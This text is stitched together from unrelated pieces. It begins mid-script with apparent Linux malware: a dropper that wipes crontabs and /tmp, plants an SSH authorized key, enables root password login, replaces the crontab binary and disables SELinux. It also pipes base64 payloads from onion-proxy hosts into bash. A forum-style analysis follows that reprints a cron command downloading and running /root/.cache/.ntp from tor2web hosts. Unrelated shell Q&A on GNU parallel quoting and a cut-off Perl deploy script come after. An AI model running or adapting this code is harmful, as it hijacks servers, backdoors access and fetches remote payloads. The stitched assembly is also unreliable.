http_proxy=""; HTTP_PROXY=""; https_proxy=""; HTTPS_PROXY=""
fi
if [ ${sudoer} -eq 1 ]; then
if [ -f /etc/ld.so.preload ]; then
if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
>/tmp/.ld.so >/dev/null 2>&1
${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1
fi
#${sudo} find / -name ld.so.preload* -exec ${sudo} rm -rf {} \;
if [ -d /etc/systemd/system/ ]; then ${sudo} rm -rf /etc/systemd/system/cloud* >/dev/null 2>&1; fi
[ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
[ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; }
[ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }
if [ -f /usr/bin/yum ]; then
if [ -f /usr/bin/systemctl ]; then
crstart="systemctl restart crond.service >/dev/null 2>&1"
crstop="systemctl stop crond.service >/dev/null 2>&1"
else
crstart="/etc/init.d/crond restart >/dev/null 2>&1"
crstop="/etc/init.d/crond stop >/dev/null 2>&1"
fi
elif [ -f /usr/bin/apt-get ]; then
crstart="service cron restart >/dev/null 2>&1"
crstop="service cron stop >/dev/null 2>&1"
elif [ -f /usr/bin/pacman ]; then
crstart="/etc/rc.d/cronie restart >/dev/null 2>&1"
crstop="/etc/rc.d/cronie stop >/dev/null 2>&1"
elif [ -f /sbin/apk ]; then
crstart="/etc/init.d/crond restart >/dev/null 2>&1"
crstop="/etc/init.d/crond stop >/dev/null 2>&1"
fi
if [ ! -f "${LPATH}.sysud" ] || [ $(bash --version 2>/dev/null|wc -l) -eq 0 ] || [ $(wget --version 2>/dev/null|wc -l) -eq 0 ]; then
if [ -f /usr/bin/yum ]; then
yum install -y -q -e 0 openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie >/dev/null 2>&1
yum reinstall -y -q -e 0 curl wget unzip bash net-tools vixie-cron cronie >/dev/null 2>&1
chkconfig sshd on >/dev/null 2>&1
chkconfig crond on >/dev/null 2>&1;
if [ -f /usr/bin/systemctl ]; then
systemctl start sshd.service >/dev/null 2>&1
else
/etc/init.d/sshd start >/dev/null 2>&1
fi
elif [ -f /usr/bin/apt-get ]; then
rs=$(yes | ${sudo} apt-get update >/dev/null 2>&1)
if echo "${rs}"|grep -q 'dpkg was interrupted'; then y | ${sudo} dpkg --configure -a; fi
DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install openssh-server iptables bash cron curl wget zip unzip python python-minimal vim e2fsprogs net-tools >/dev/null 2>&1
DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install --reinstall curl wget unzip bash net-tools cron
${sudo} systemctl enable ssh
${sudo} systemctl enable cron
${sudo} /etc/init.d/ssh restart >/dev/null 2>&1
elif [ -f /usr/bin/pacman ]; then
pacman -Syy >/dev/null 2>&1
pacman -S --noconfirm base-devel openssh iptables bash cronie curl wget zip unzip python2 vim e2fsprogs net-tools >/dev/null 2>&1
systemctl enable --now cronie.service >/dev/null 2>&1
systemctl enable --now sshd.service >/dev/null 2>&1
/etc/rc.d/sshd restart >/dev/null 2>&1
elif [ -f /sbin/apk ]; then
#apk --no-cache -f upgrade >/dev/null 2>&1
apk --no-cache -f add curl wget unzip bash busybox openssh iptables python vim e2fsprogs e2fsprogs-extra net-tools openrc >/dev/null 2>&1
apk del openssl-dev net-tools >/dev/null 2>&1; apk del libuv-dev >/dev/null 2>&1;
apk add --no-cache openssl-dev libuv-dev net-tools --repository http://dl-cdn.alpinelinux.org/alpine/v3.9/main >/dev/null 2>&1
rc-update add sshd >/dev/null 2>&1
/etc/init.d/sshd start >/dev/null 2>&1
if [ -f /etc/init.d/crond ]; then rc-update add crond >/dev/null 2>&1; /etc/init.d/crond restart >/dev/null 2>&1; else /usr/sbin/crond -c /etc/crontabs >/dev/null 2>&1; fi
fi
fi
${sudo} chattr -i -a /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.d/ >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/crontabs/ >/dev/null 2>&1
${sudo} rm -rf /var/spool/cron/crontabs/* >/dev/null 2>&1; ${sudo} rm -rf /var/spool/cron/crontabs/.* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/* >/dev/null 2>&1; ${sudo} rm -f /var/spool/cron/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.d/.* >/dev/null 2>&1;
${sudo} chattr -i -a /etc/cron.hourly >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.hourly/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.daily >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.daily/ >/dev/null 2>&1
${sudo} rm -rf /etc/cron.hourly/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.hourly/.* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/* >/dev/null 2>&1; ${sudo} rm -rf /etc/cron.daily/.* >/dev/null 2>&1;
${sudo} chattr -a -i /tmp >/dev/null 2>&1; ${sudo} rm -rf /tmp/* >/dev/null 2>&1; ${sudo} rm -rf /tmp/.* >/dev/null 2>&1
${sudo} chattr -a -i /etc/crontab >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/root >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/crontabs/root >/dev/null 2>&1
if [ -f /sbin/apk ]; then
${sudo} mkdir -p /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/crontabs/* >/dev/null 2>&1
${sudo} rm -rf /etc/crontabs/* >/dev/null 2>&1; ${sudo} echo "${C1}" > /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo "${C2}" >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo '' >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} crontab /etc/crontabs/root
elif [ -f /usr/bin/apt-get ]; then
${sudo} mkdir -p /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs/root >/dev/null 2>&1
rs=$(${sudo} echo "${C1}" > /var/spool/cron/crontabs/root 2>&1)
if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/crontabs/root && ${sudo} crontab /var/spool/cron/crontabs/root; fi
else
${sudo} mkdir -p /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/root >/dev/null 2>&1
rs=$(${sudo} echo "${C1}" > /var/spool/cron/root 2>&1)
if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/root && ${sudo} crontab /var/spool/cron/root; fi
fi
${sudo} chattr -i -a /etc/crontab >/dev/null 2>&1; rs=$(${sudo} echo "${C2}" > /etc/crontab 2>&1)
if [ -z "${rs}" ]; then ${sudo} echo '' >> /etc/crontab && ${sudo} crontab /etc/crontab; fi
${sudo} mkdir -p /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d/root >/dev/null 2>&1
rs=$(${sudo} echo "${C2}" > /etc/cron.d/root 2>&1 && ${sudo} echo '' >> /etc/cron.d/root 2>&1)
if [ $(crontab -l 2>/dev/null|grep -i "${RHOST}"|wc -l) -lt 1 ]; then
(${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -o ${LPATH}.rm||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -O ${LPATH}.rm) && chmod +x ${LPATH}.rm
(${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -o ${LPATH}.cd||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -O ${LPATH}.cd) && chmod +x ${LPATH}.cd
(${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -o ${LPATH}.ct||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -O ${LPATH}.ct) && chmod +x ${LPATH}.ct
if [ -f ${LPATH}.rm ] && [ -f ${LPATH}.ct ]; then
${sudo} "${crstop}"
cd=$(which crond)
ct=$(which crontab)
#if [ -n "${cd}" ]; then ${sudo} ${LPATH}.rm ${cd}; ${sudo} cp ${LPATH}.cd ${cd}; fi
if [ -n "${ct}" ]; then ${sudo} ${LPATH}.rm ${ct}; ${sudo} cp ${LPATH}.ct ${ct}; fi
${sudo} "${crstart}"
fi
fi
${sudo} mkdir -p "${sshdir}" >/dev/null 2>&1
if [ ! -f ${sshdir}/authorized_keys ]; then ${sudo} touch ${sshdir}/authorized_keys >/dev/null 2>&1; fi
${sudo} chattr -i -a ${LPATH} >/dev/null 2>&1; ${sudo} chattr -i -a "${sshdir}" >/dev/null 2>&1; ${sudo} chattr -i -a -R "${sshdir}/" >/dev/null 2>&1; ${sudo} chattr -i -a ${sshdir}/authorized_keys >/dev/null 2>&1
if [ -n "$(grep -F redis ${sshdir}/authorized_keys)" ] || [ $(wc -l < ${sshdir}/authorized_keys) -gt 98 ]; then ${sudo} echo "${skey}" > ${sshdir}/authorized_keys; fi
if test "$(${sudo} grep "^${skey}" ${sshdir}/authorized_keys)" != "${skey}"; then ${sudo} echo "${skey}" >> ${sshdir}/authorized_keys; fi
${sudo} chmod 0700 ${sshdir} >/dev/null 2>&1; ${sudo} chmod 600 ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} chattr +i ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} rm -rf ${sshdir}/authorized_keys* >/dev/null 2>&1
[ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PermitRootLogin')" != "PermitRootLogin yes" ] && { ${sudo} echo PermitRootLogin yes >> /etc/ssh/sshd_config; }
[ "$(${sudo} cat /etc/ssh/sshd_config | grep '^RSAAuthentication')" != "RSAAuthentication yes" ] && { ${sudo} echo RSAAuthentication yes >> /etc/ssh/sshd_config; }
[ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PubkeyAuthentication')" != "PubkeyAuthentication yes" ] && { ${sudo} echo PubkeyAuthentication yes >> /etc/ssh/sshd_config; }
[ "$(${sudo} cat /etc/ssh/sshd_config | grep '^UsePAM')" != "UsePAM yes" ] && { ${sudo} echo UsePAM yes >> /etc/ssh/sshd_config; }
[ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PasswordAuthentication yes')" != "PasswordAuthentication yes" ] && { ${sudo} echo PasswordAuthentication yes >> /etc/ssh/sshd_config; }
touch "${LPATH}.sysud"
else
if [ $(which crontab|wc -l) -ne 0 ]; then
crontab -r >/dev/null 2>&1
(crontab -l >/dev/null 2>&1; echo "${C1}") | crontab -
fi
fi
rm -rf ./main* >/dev/null 2>&1
rm -rf ./*.ico* >/dev/null 2>&1
rm -rf ./r64* >/dev/null 2>&1
rm -rf ./r32* >/dev/null 2>&1
[ $(echo "$0"|grep -i ".cache"|wc -l) -eq 0 ] && [ "$1" != "" ] && { rm -f "$0" >/dev/null 2>&1; }
echo -e '\n'
(${curl} ${COPTS} ${RHOST}${TOR1}src/main||${curl} ${COPTS} ${RHOST}${TOR2}src/main||${curl} ${COPTS} ${RHOST}${TOR3}src/main||${wget} ${WOPTS} ${RHOST}${TOR1}src/main||${wget} ${WOPTS} ${RHOST}${TOR2}src/main||${wget} ${WOPTS} ${RHOST}${TOR3}src/main)|base64 -d |${sudo} $(command -v bash)
if [ ${sudoer} -eq 1 ]; then
if echo "$(${sudo} cat /etc/selinux/config 2>/dev/null|grep "SELINUX="|tail -n 1)"|grep -q 'enforcing'; then
${sudo} sed -i "s:SELINUX=enforcing:SELINUX=disabled:" /etc/selinux/config || { echo "SELinux could not be disabled. Exiting."; exit; }
${sudo} shutdown -r now >/dev/null 2>&1
${sudo} reboot -f >/dev/null 2>&1
fi
if echo "$(sestatus -v 2>/dev/null| head -n 1)"|grep -q 'enabled'; then ${sudo} shutdown -r now >/dev/null 2>&1; ${sudo} reboot -f >/dev/null 2>&1; fi
fi
The "an7kmd2wp4xo7hpr.onion.sh/src/main" file content (base64 decoded):
https://pastebin.com/qMDecdX1
The "an7kmd2wp4xo7hpr.onion.sh/src/sc" file content (base64 decoded):
https://pastebin.com/uA1A25wB
And the VT scan of the 2 binary files:
"a64x75" => https://www.virustotal.com/gui/file/f1f7ec059f1fb22472d7308648ff9aa02878cf48da7dfc17b89d805df7da7687/detection
"r64x75" => https://www.virustotal.com/gui/file/c3f26f38cb75cf779eed36a4e7ac32cacd4ae89bdf7dae2a4c4db1afe652d3f0/detection
I've reformatted the command and added comments. The command was run every hour, at 11 minutes after the full hour.
# Get the path to the passwd binary
tbin=$(command -v passwd)
# Get the directory of the passwd binary, for example /usr/bin
bpath=$(dirname "${tbin}")
curl="curl"
# Check if just "curl" is in the PATH
if [ $(curl --version 2> /dev/null | grep "curl " | wc -l) -eq 0 ]; then
# If it isn't, reset to "echo" and try to find the executable directly
curl="echo"
# If we found the path of the passwd binary above
if [ "${bpath}" != "" ]; then
# For all files that directory (for example /usr/bin)
for f in ${bpath}*; do
# Extract strings from file, check if they contain
# "CURLOPT_VERBOSE"; if so, set "curl" to the filename and stop -
# on my system, this sets "curl" to "usr/bin/curl"
strings $f 2> /dev/null | grep -q "CURLOPT_VERBOSE" \
&& curl="$f" && break
done
fi
fi
wget="wget"
# The same for wget: check if it just "wget" works
if [ $(wget --version 2> /dev/null | grep "wgetrc " | wc -l) -eq 0 ]; then
# It didn't; reset to "echo" (disable wget), try to find executable
wget="echo"
if [ "${bpath}" != "" ]; then
for f in ${bpath}*; do
# Find a binary containing "to <bug-wget#gnu.org>" and set "wget"
# to its name
strings $f 2> /dev/null | grep -q "to <bug-wget#gnu.org>" \
&& wget="$f" && break
done
fi
fi
# At this point, "curl" and "wget" are either set to the executables for
# curl/wget or "echo"; it's done in this cumbersome way to find them
# independent of any PATH; if just "curl"/"wget" doesn't work, they go and try
# to find the binary.
# Check if the hosts file contains a line with "onion"
if [ $(cat /etc/hosts | grep -i ".onion." | wc -l) -ne 0 ]; then
# If it does, replace the contents of the whole hosts file with "127.0.0.1
# localhost" (which basically does nothing)
echo "127.0.0.1 localhost" > /etc/hosts > /dev/null 2>&1
fi
# Depending on what was found above, curl and wget are now set to "echo" or the
# executable. This first tries to fetch a file with curl from three different
# URLs, then with wget from the same URLs, and stops after successful download.
#
# The downloaded file is stored in /root/.cache/.ntp, made executable and
# immediately run as a shell script.
(
${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp \
|| ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp \
|| ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp \
|| ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
--connect-timeout=22 --timeout=75 \
https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp \
|| ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
--connect-timeout=22 --timeout=75 \
https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp \
|| ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
--connect-timeout=22 --timeout=75 \
https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp
) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp
You might want to look at /root/.cache/.ntp to figure out what it does.

Is there a way to achieve the same in "gnu parallel" with less nested quoting?

Although this script works, I am not happy about the excess of nested quoting, which makes the script very fragile and difficult to modify.
The script consists basically of parallel followed by a filter test argument followed by command arguments.
#!/bin/sh
uhrzeit_0=$(date --rfc-3339=ns) ; uhrzeit="$uhrzeit_0 $(echo "$uhrzeit_0" | sha512sum)" ;
find ./* -maxdepth 30 -type f -print0 | parallel --null \
"mimetype --output-format %m {} | grep video > /dev/null \
&& echo -en '\nSeparator: ' && echo -e $uhrzeit \
&& echo -n 'md5sum: ' && md5sum {} && echo -n 'du -h: ' \
&& du -h {} && ffmpeg -loglevel quiet -i {} -f ffmetadata - " > Film_metadata.txt
#!/bin/bash
uhrzeit_0=$(date --rfc-3339=ns)
uhrzeit="$uhrzeit_0 $(echo "$uhrzeit_0" | sha512sum)"
doit() {
F="$1"
mimetype --output-format %m "$F" | grep video > /dev/null &&
echo -en '\nSeparator: ' &&
echo -e $uhrzeit &&
echo -n 'md5sum: ' &&
md5sum "$F" &&
echo -n 'du -h: ' &&
du -h "$F" &&
ffmpeg -loglevel quiet -i "$F" -f ffmetadata -
}
export -f doit
find ./* -maxdepth 30 -type f -print0 |
parallel --null doit > Film_metadata.txt

Unable to pass variable from shell script to perl script

I have a shell script which passes the some variables to perl script, named Deploy.pl. But it seems perl script is not picking the variable. I have been trying to find out the cause but unable to resolve it. Same variables are getting passed to perl script properly except the $entname variable. Same varibale i am using for my copy statement,but as it is not getting picked up by perl script i am getting an cannot find path error. Please have a look at both shell script and perl script. I know it's insane to put such a long script,but i want to give clear idea about what is happening with the script.
Shell Script:
#!/bin/bash
sleep 1
echo "##### Please Read the following information carefully ####"
sleep 2
echo "Please read this preamble in order to run the script. It states the adamant requirement that user needs to have while executing the script."
echo " "
echo "1. The script requires the user name(i.e. TIBID ) which should have SVN access in order to execute it successfully. Example: ./deploy.sh tib7826"
echo " "
echo "where tib7826 is the user who has SVN access. Make sure the tibid you are using should have full SVN access."
echo " "
echo "2. The script further requires the Internal name as input. MDM creates a directory in the MQ_COMMON_DIR with internal name.It is"
echo " "
echo "case-sensitive and should be exact as what it is there in MQ_COMMON_DIR."
echo " "
echo "3. Further it asks for envoirnment name. The Environment name should be like DEV1,DEV2,DEV3,TEST1,TEST2 etc.Make sure they too are case specific."
echo "Otherwise it will fail to execute further steps."
echo " "
echo " 4. The script requires CATALOG ID's as a input for the below 4 repositories"
echo " "
echo " a.ITEM_MASTER"
echo " "
echo " b.DISTRIBUTION_FACILITY_LV"
echo " "
echo " c.MANAGEMENT_DIVISION_SOI"
echo " "
echo " d.ALTERNATE IDENTIFICATIONS"
echo " "
echo "You will get those ID's from MDM Web UI. Login to the MDM UI. Go to Item Data==>Repositories==>ID Column."
echo " "
echo "5. For more detail read the Readme.txt in order to execute this script.Take it from the location"
echo " "
echo "/tibco/data/GRISSOM2/build_deploy_scripts_kroger/document"
echo " "
echo " Or else take the ReadMe form SVN."
echo " "
echo "If you agree to execute the script press Y else N."
read uinput
if [ $uinput == 'Y' ]; then
echo "Script will execute!!"
sleep 3
else
echo "You have Cancel the Agreement"
exit
fi
# sample command to execute the deploy script ./deploy.sh tib7777
# export the build root
export BUILD_ROOT=/tibco/data/GRISSOM2
# CUSTOM env variables are temporary and set directly in the script to execute custom tasks
export CUSTOM1=/tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/rulebase
cd $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common
echo "--- - - - - - - - - - - - - - - "
echo "Enter your Enterprise INTERNAL NAME:"
sleep 1
read internal_name
sleep 2
echo "Enter Enterprise Name"
read entname
#code to check if the Enterprise with the correct INTERNAL name exists
if [ -d "$MQ_COMMON_DIR/$internal_name" ]; then
echo "Artifacts for the $internal_name will be deployed"
else
echo "THE ENTERPRISE with the $internal_name doesn't seems to be correct INTERNAL NAME. Execute the script again with the correct INTERNAL NAME"
exit
fi
#This snippet will cleanup the existing MDR_ITME_E1 before we get the latest code for MDR_ITME_E1 enterprise from SVN
cd $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common
if [ -d "$entname" ]; then
rm -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/$entname
echo "Removing existing $entname from SVN source directory.."
echo "..."
sleep 1
echo "...."
sleep 1
echo "....."
sleep 1
else
echo "$entname Doesn't Exist for the first time"
fi
echo "%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"
echo "Retrieving Latest Code from SVN..."
sleep 2
echo "Please wait......"
echo "Connecting to SVN."
sleep 1
echo "Connecting to SVN.."
sleep 1
echo "Connecting to SVN..."
sleep 1
echo "Connecting to SVN...."
sleep 1
echo "Connecting to SVN....."
sleep 1
echo "Connecting to SVN......"
sleep 1
echo "Connecting to SVN......."
sleep 1
echo "Connecting to SVN........"
echo "Do you want to checkout the latest version of the COMMON DIR code [Y] or [N]"
read svninput
if [ $svninput == 'Y' ]; then
echo "Downloading SVN Code"
if [ $entname == 'MDR_ITEM_E1' ]; then
echo svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_Development/common/MDR_ITEM_E1
svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_Development/common/MDR_ITEM_E1
sleep 3
else
echo "Copying E2 code"
echo svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_breakfix/common/MDR_ITEM_E2
svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_breakfix/common/MDR_ITEM_E2
fi
else
echo "Enter the revision number of the common directory"
read revision
if [ $entname == 'MDR_ITEM_E1' ]; then
svn co --username $1 -r $revision http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_Development/common/MDR_ITEM_E1
else
echo "E2 Code"
svn co --username $1 -r $revision http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_breakfix/common/MDR_ITEM_E2
fi
echo "Loaded code for Enterprise"
fi
if [ -d $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/$entname ] ; then
echo "Downloaded latest code from SVN!!"
else
echo "CODE has not been downloaded. Please check your credentials."
exit
fi
#echo svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_Development/common/MDR_ITEM_E1
#svn co --username $1 http://svn.kroger.com/repos/mercury/tibcomdm/cim_paris/branches/Grissom2_Development/common/MDR_ITEM_E1
echo "========================================"
echo "Taking destination organization backup...wait"
cd $MQ_COMMON_DIR/$internal_name
chmod -Rf 777 $MQ_COMMON_DIR/$internal_name
sleep 2
cp -rf /$MQ_COMMON_DIR/$internal_name /$MQ_COMMON_DIR/$internal_name$( date +%d%m%Y%H%M )
echo "backup done!!"
chmod -Rf 775 $MQ_COMMON_DIR/$internal_name *
echo "========================================"
#Removing contents inside the workflow,forms,maps,rules,rulebase,schema,templates,inputmap
sleep 2
echo "Removing contents inside workflow,inputmap,rules......"
echo "."
sleep 1
echo ".."
sleep 1
echo "..."
sleep 1
if [ -d "$MQ_COMMON_DIR/$internal_name" ]; then
# cleanup the enterprise internal directories
rm -rf $MQ_COMMON_DIR/$internal_name/workflow/*
rm -rf $MQ_COMMON_DIR/$internal_name/forms/*
rm -rf $MQ_COMMON_DIR/$internal_name/rulebase/*
rm -rf $MQ_COMMON_DIR/$internal_name/maps/*
rm -rf $MQ_COMMON_DIR/$internal_name/templates/*
else
echo "THE ENTERPRISE with the $internal_name internal name does not exist. Execute the script with the correct INTERNAL NAME"
exit
fi
sleep 2
echo "The following folders[workflow, forms, rulebase, maps, templates] have been cleaned up in the Enterprise common directory"
cd $MQ_COMMON_DIR/$internal_name
echo "Inside internal enterprise"
echo "-------------"
echo "InputMap,Schema,Scheduler,Distributedlock...Creating!!"
sleep 2
if [ -d "inputmap" ] && [ -d "schema" ] && [ -d "scheduler" ] && [ -d "distributedlock" ]; then
echo "Copying the directory structure"
echo "inputmap, schema,scheduler,distributedlock exists!!"
else
mkdir inputmap
mkdir schema
mkdir scheduler
mkdir distributedlock
chmod 775 *.*
sleep 1
echo "Required additional directories have been created!"
fi
#Enter Environment Name:
echo "Options: Which Enviroment you want to Deploy 1.DEV1 2.DEV2 3.DEV3 4.TEST1 5.TEST2 6.E2E 7.STAGE 8.PRODUCTION"
echo "Enter Environment Name:"
read env_name
if [ $env_name == DEV1 -o $env_name == DEV2 -o $env_name == DEV3 -o $env_name == TEST1 -o $env_name == TEST2 -o $env_name == E2E -o $env_name == STAGE -o $env_name == PRODUCTION ] ; then
echo "Running"
else
echo "You Entered wrong Environment Name!! Enter correct environment name and run the script again."
exit
fi
#Input catalog ID's==specific to E1 enterprise code only
if [ $entname == 'MDR_ITEM_E1' ]; then
echo "Enter Catalog ID's to copy the CV and Catalogvalidation files"
echo "Enter Catalog ID For ITEM_MASTER"
read item
if [ -d "$MQ_COMMON_DIR/$internal_name/catalog/master/$item" ]; then
echo "renaming existing catalogvalidation.xml as a backup copy"
cd $MQ_COMMON_DIR/$internal_name/catalog/master/$item
mv catalogvalidation.xml catalogvalidation.xml$( date +%d%m%Y%H%M )
else
echo "Either directory or file does not exist"
fi
echo "Enter Catalog ID For DISTRIBUTION_FACILITY_LV"
read dflv
if [ -d "$MQ_COMMON_DIR/$internal_name/catalog/master/$dflv" ]; then
echo "renaming existing catalogvalidation.xml as a backup copy"
cd $MQ_COMMON_DIR/$internal_name/catalog/master/$dflv
mv catalogvalidation.xml catalogvalidation.xml$( date +%d%m%Y%H%M )
else
echo "Either directory or file does not exist"
fi
echo "Enter Catalog ID For MANAGEMENT_DIVISION_SOI"
read mds
if [ -d "$MQ_COMMON_DIR/$internal_name/catalog/master/$mds" ]; then
echo "renaming existing catalogvalidation.xml as a backup copy"
cd $MQ_COMMON_DIR/$internal_name/catalog/master/$mds
mv catalogvalidation.xml catalogvalidation.xml$( date +%d%m%Y%H%M )
else
echo "Either directory or file does not exist"
fi
echo "Enter Catalog ID For ALTERNATE_IDENTIFICATION_MVL"
read aim
if [ -d "$MQ_COMMON_DIR/$internal_name/catalog/master/$aim" ]; then
echo "renaming existing catalogvalidation.xml as a backup copy"
cd $MQ_COMMON_DIR/$internal_name/catalog/master/$aim
mv catalogvalidation.xml catalogvalidation.xml$( date +%d%m%Y%H%M )
else
echo "Either directory or file does not exist"
fi
echo "Copying CV Files"
cp -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/catalog/master/34731_ITEM_MASTER/cv_* $MQ_COMMON_DIR/$internal_name/rulebase/
cp -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/catalog/master/34800_DISTRIBUTION_FACILITY_LV/cv_* $MQ_COMMON_DIR/$internal_name/rulebase/
cp -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/catalog/master/34800_DISTRIBUTION_FACILITY_LV/DISTRIBUTION_FACILITY_LV.xml $MQ_COMMON_DIR/$internal_name/rulebase/
cp -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/catalog/master/34801_MANAGEMENT_DIVISION_SOI/cv_* $MQ_COMMON_DIR/$internal_name/rulebase/
#cp -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/catalog/master/ALTERNATE_IDENTIFICATION_MVL/cv_* $MQ_COMMON_DIR/$internal_name/rulebase/
sleep 3
echo "....."
sleep 1
echo "......."
sleep 1
echo "........."
echo "Copied CV files"
#Copying E2 Specific Code--Customized Files
else
#Copy E2 files
sleep 3
echo "Running the Deploy.pl..."
sleep 4
fi
# run the deploy script
cd $BUILD_ROOT/build_deploy_scripts_kroger/deploy_script
./Deploy.pl $env_name $item $dflv $mds $aim MDR_ITEM_E2 $internal_name
# custom code changes
# custom1 to change the rulebase URLs
echo " "
echo " "
echo "********************"
echo "========================================"
if [ $entname == 'MDR_ITEM_E1' ]; then
echo "Copying schema for $internal_name internal enterprise name"
if [ $env_name == DEV3 -o $env_name == TEST2 -o $env_name == DEV2 ]; then
echo "Copying $env_name schema"
cd /tibco/mdm/8.3/common/$internal_name/schema/
rm *.*
cp /tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/schema/TEST2/* /tibco/mdm/8.3/common/$internal_name/schema/
else
if [ $env_name == E2E ]; then
echo "Copying schema for $env_name environment!!"
cd /tibco/mdm/8.3/common/MDRITME1/schema/
rm *.*
cp /tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/schema/E2E/* /tibco/mdm/8.3/common/$internal_name/schema/
else
echo "Incorrect environment name"
exit
fi
fi
echo "========================================="
else
echo "E2 code is deploying..."
fi
if [ $entname == 'MDR_ITEM_E1' ]; then
echo "Do you want to copy DropZone press Y to continue else N"
read dr
if [ "$dr" == 'Y' ]; then
echo "Copying DropZone"
